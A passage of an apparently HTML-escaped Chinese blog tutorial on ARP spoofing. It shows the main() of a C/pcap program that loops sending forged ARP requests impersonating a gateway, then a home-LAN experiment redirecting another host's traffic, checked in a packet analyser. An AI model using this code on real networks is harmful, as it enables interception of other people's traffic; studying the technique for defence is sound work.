style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;return;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;}&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;int&nbsp;main(int&nbsp;argc,char&nbsp;*argv[])&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;{&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;int&nbsp;n=0;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;char&nbsp;devName[100];&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;char&nbsp;myIPAddress[15],myMAC[6];&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;char&nbsp;ARPPacket[42];&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;char&nbsp;Gateway_IP[16];&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;pcap_t&nbsp;*hpcap=NULL;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;if(ChooseDev(devName,sizeof(devName),myIPAddress)!=TRUE)&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;{&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf(&#8220;\u83b7\u53d6\u7f51\u5361\u5931\u8d25\u3002\\n&#8221;);&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;getch();&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;-1;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;}&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;\/\/\u83b7\u53d6\u672c\u673a\u7f51\u5361MAC&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;if(GetAdapterMAC(myIPAddress,myMAC)!=TRUE)&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;{&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf(&#8220;\u83b7\u53d6\u7f51\u5361MAC\u5931\u8d25\u3002\\n&#8221;);&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;getch();&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;-1;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;}&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;\/\/\u6253\u5f00\u7f51\u5361&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;if((hpcap=OpenAdapter(devName))==NULL)&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;{&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf(&#8220;\u7f51\u5361\u6253\u5f00\u51fa\u9519\u3002\\n&#8221;);&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;getch();&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;-1;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;}&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;\/\/\u8f93\u5165\u7f51\u5173\u4fe1\u606f&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;Input(Gateway_IP);&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;\/\/\u4ee5ARP\u8bf7\u6c42\u7684\u65b9\u5f0f\u6b3a\u9a97\u4e3b\u673aA&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;Fill_ARPPACKET(ARPPacket,sizeof(ARPPacket),NULL,NULL,myMAC,Gateway_IP,1);&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;while(1)&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;{&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;SendPacket(hpcap,ARPPacket,sizeof(ARPPacket));&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf(&#8220;\u5df2\u53d1\u9001%d\u4e2a\u6570\u636e\u5305\u3002\\r&#8221;,++n);&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Sleep(3000);&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;}&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;0;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;}&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:12.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;&nbsp;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:12.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;\u8fd0\u884c\u754c\u9762\u5982\u56fe\u6240\u793a\uff1a&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:12.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;&lt;a target=&quot;_blank&quot; href=&quot;http:\/\/www.weizn.net\/content\/uploadfile\/201401\/8cda81fc7ad906927144235dda5fdf1520140124162426.jpg&quot; id=&quot;ematt:149&quot;&gt;&lt;img src=&quot;http:\/\/www.weizn.net\/content\/uploadfile\/201401\/thum-8cda81fc7ad906927144235dda5fdf1520140124162426.jpg&quot; alt=&quot;\u70b9\u51fb\u67e5\u770b\u539f\u56fe&quot; border=&quot;0&quot; \/&gt;&lt;\/a&gt;&lt;br \/&gt;\n&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:12.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;&nbsp;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;text-indent:24.0000pt;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:12.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;\u73b0\u5728\u6765\u505a\u4e00\u4e2a\u5b9e\u9a8c\uff0c\u672c\u673aA\uff08IP\uff1a192.168.0.100\uff1bMAC\uff1a00-26-c7-3d-3a-4a\uff09\uff0c\u5728\u540c\u4e00\u7f51\u5173\uff08IP\uff1a192.168.0.1\uff1bMAC\uff1ac8-3a-35-39-38-b0\uff09\u4e0b\uff0c\u8fd8\u6709\u53e6\u4e00\u53f0\u4e3b\u673aB\uff08IP\uff1a192.168.0.101\uff1bMAC\uff1a00-0c-29-06-8c-51\uff09\uff0c\u73b0\u5728\u6211\u4eec\u60f3\u8ba9B\u53d1\u9001\u81f3\u7f51\u5173\u7684\u6570\u636e\u53d1\u9001\u5230\u81ea\u5df1\u4e3b\u673a\uff0c\u90a3\u4e48\u6211\u4eec\u5c31\u5411\u5176\u53d1\u9001ARP\u4f2a\u9020\u5305\uff0c\u6765\u4f2a\u9020\u7f51\u5173\u5730\u5740\u3002\u5982\u56fe\uff1a&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:10.5000pt;font-family:&#039;Times New Roman&#039;;&quot;&gt;&lt;a target=&quot;_blank&quot; href=&quot;http:\/\/www.weizn.net\/content\/uploadfile\/201401\/30e62fddc14c05988b44e7c02788e18720140124162448.jpg&quot; id=&quot;ematt:151&quot;&gt;&lt;img src=&quot;http:\/\/www.weizn.net\/content\/uploadfile\/201401\/thum-30e62fddc14c05988b44e7c02788e18720140124162448.jpg&quot; alt=&quot;\u70b9\u51fb\u67e5\u770b\u539f\u56fe&quot; border=&quot;0&quot; \/&gt;&lt;\/a&gt;&lt;br \/&gt;\n&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:12.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&lt;\/span&gt;&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:12.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;\u7531\u4e8e\u6b64\u7a0b\u5e8f\u662f\u901a\u8fc7\u53d1\u9001&lt;\/span&gt;&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:12.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;ARP&lt;span style=&quot;font-family:\u5b8b\u4f53;&quot;&gt;\u8bf7\u6c42\u5305\u8fbe\u5230\u6b3a\u9a97\u76ee\u7684\uff0c\u6240\u4ee5\u6211\u4eec\u4e0d\u5fc5\u8003\u8651\u63a5\u6536\u65b9&lt;\/span&gt;&lt;span style=&quot;font-family:&#039;Times New Roman&#039;;&quot;&gt;MAC&lt;\/span&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;&quot;&gt;\u5730\u5740\u548c&lt;\/span&gt;&lt;span style=&quot;font-family:&#039;Times New Roman&#039;;&quot;&gt;IP&lt;\/span&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;&quot;&gt;\uff0c\u53ea\u9700\u8981\u77e5\u9053\u7f51\u5173&lt;\/span&gt;&lt;span style=&quot;font-family:&#039;Times New Roman&#039;;&quot;&gt;IP&lt;\/span&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;&quot;&gt;\u3002&lt;\/span&gt;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:12.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;\u5728&lt;\/span&gt;&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:12.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;B&lt;span style=&quot;font-family:\u5b8b\u4f53;&quot;&gt;\u4e3b\u673a\u4e0a\u6211\u4eec\u7528\u79d1\u6765\u7f51\u7edc\u5206\u6790\u7cfb\u7edf\u6765\u6293\u53d6\u4e00\u4e0b\u94fe\u8def\u5c42\u7684\u6570\u636e\u5305\u770b\u770b\uff1a&lt;\/span&gt;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:10.5000pt;font-family:&#039;Times New Roman&#039;;&quot;&gt;&lt;a target=&quot;_blank&quot; href=&quot;http:\/\/www.weizn.net\/content\/uploadfile\/201401\/ae566253288191ce5d879e51dae1d8c320140124161732.jpg&quot; id=&quot;ematt:132&quot;&gt;&lt;img src=&quot;http:\/\/www.weizn.net\/content\/uploadfile\/201401\/thum-ae566253288191ce5d879e51dae1d8c320140124161732.jpg&quot; alt=&quot;\u70b9\u51fb\u67e5\u770b\u539f\u56fe&quot; border=&quot;0&quot; \/&gt;&lt;\/a&gt;&lt;br \/&gt;\n&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:10.5000pt;font-family:&#039;Times New Roman&#039;;&quot;&gt;&nbsp;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:12.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&lt;\/span&gt;&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:12.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;\u53ef\u89c1\uff0c\u6b64\u65f6&lt;\/span&gt;&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:12.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;B&lt;\/span&gt;&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:12.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;\u4e3b\u673a\u4e0d\u65ad\u7684\u6536\u5230\u4e86&lt;\/span&gt;&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:12.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;ARP&lt;span style=&quot;font-family:\u5b8b\u4f53;&quot;&gt;\u5e7f\u64ad\u8bf7\u6c42\uff0c\u6211\u4eec\u6253\u5f00\u5176\u4e2d\u4e00\u4e2a\u6765\u770b\u770b\u5177\u4f53\u5185\u5bb9\uff1a&lt;\/span&gt;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:12.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;&lt;a target=&quot;_blank&quot; href=&quot;http:\/\/www.weizn.net\/content\/uploadfile\/201401\/62bf1edb36141f114521ec4bb417557920140124161740.jpg&quot; id=&quot;ematt:133&quot;&gt;&lt;img 